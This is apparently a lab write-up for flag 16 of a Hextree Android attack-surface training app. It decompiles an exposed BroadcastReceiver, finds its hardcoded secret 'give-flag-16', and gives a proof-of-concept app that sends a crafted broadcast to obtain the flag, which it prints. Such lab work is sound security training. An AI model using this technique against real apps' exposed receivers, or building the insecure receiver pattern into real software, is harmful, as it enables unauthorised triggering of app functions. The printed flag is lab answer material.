Static Analysis

AndroidManifest.xml

Upon inspecting the Flag16Activity in the AndroidManifest.xml file we see the following

<activity  
	android:name="io.hextree.attacksurface.activities.Flag16Activity"  
	android:exported="false"/>

Since exported is set to false we can’t call this activity from our exploit apk, let’s inspect the Activity to see what can we do here

Flag16Activity Class

public class Flag16Activity extends AppCompactActivity {  
    public Flag16Activity() {  
        this.name = "Flag 16 - Basic exposed receiver";  
        this.flag = "JqU8fjotmwbiGC9VoSA+HoXezSd+4u/B19vOue9o1Lg=";  
        this.tag = "BroadcastReceiver";  
        this.tagColor = R.color.green;  
        this.description = Flag16Receiver.class.getCanonicalName();  
    }  
  
    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity  
    protected void onCreate(Bundle bundle) {  
        super.onCreate(bundle);  
        this.f = new LogHelper(this);  
        String stringExtra = getIntent().getStringExtra("flag");  
        if (stringExtra != null && stringExtra.equals(Flag16Receiver.FlagSecret)) {  
            this.f.addTag(stringExtra);  
            success(this);  
        } else {  
            Toast.makeText(this, "Investigate the broadcast receiver", 0).show();  
            finish();  
        }  
    }  
}

Here we see that we need to know Flag16Receiver.FlagSecret in order to fire the success method, let’s dig into that receiver

Flag16Receiver Class

public class Flag16Receiver extends BroadcastReceiver {  
    public static String FlagSecret = "give-flag-16";  
  
    @Override // android.content.BroadcastReceiver  
    public void onReceive(Context context, Intent intent) {  
        Log.i("Flag16Receiver.onReceive", Utils.dumpIntent(context, intent));  
        if (intent.getStringExtra("flag").equals(FlagSecret)) {  
            success(context, FlagSecret);  
        }  
    }  
  
    private void success(Context context, String str) {  
        Flag16Activity flag16Activity = new Flag16Activity();  
        flag16Activity.f = new LogHelper(context);  
        flag16Activity.f.addTag(str);  
        flag16Activity.success(null, context);  
        Toast.makeText(context, "Flag: " + flag16Activity.f.appendLog(flag16Activity.flag), 0).show();  
        Log.i("Flag16Receiver", "Flag: " + flag16Activity.f.appendLog(flag16Activity.flag));  
    }  
}

Here we see all we need to do is to send give-flag-16 as the value of the flag extra to this receiver and it will call the success method and give us the flag so let’s craft the poc for it!

Creating POC

Flag16.java

public class Flag16 extends AppCompatActivity implements NavigationView.OnNavigationItemSelectedListener {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_flag16);
		getSupportActionBar().setTitle("Flag 16");
 
        Button button = findViewById(R.id.button_flag16);
        button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Log.v("Tensai-POC", "Solving Flag 16");
                Intent intent = new Intent();
                intent.putExtra("flag","give-flag-16");
                intent.setComponent(new ComponentName("io.hextree.attacksurface",
                        "io.hextree.attacksurface.receivers.Flag16Receiver"));
                sendBroadcast(intent);
            }
        });
    }
}

Flag

HXT{basic-receiver-ds82s}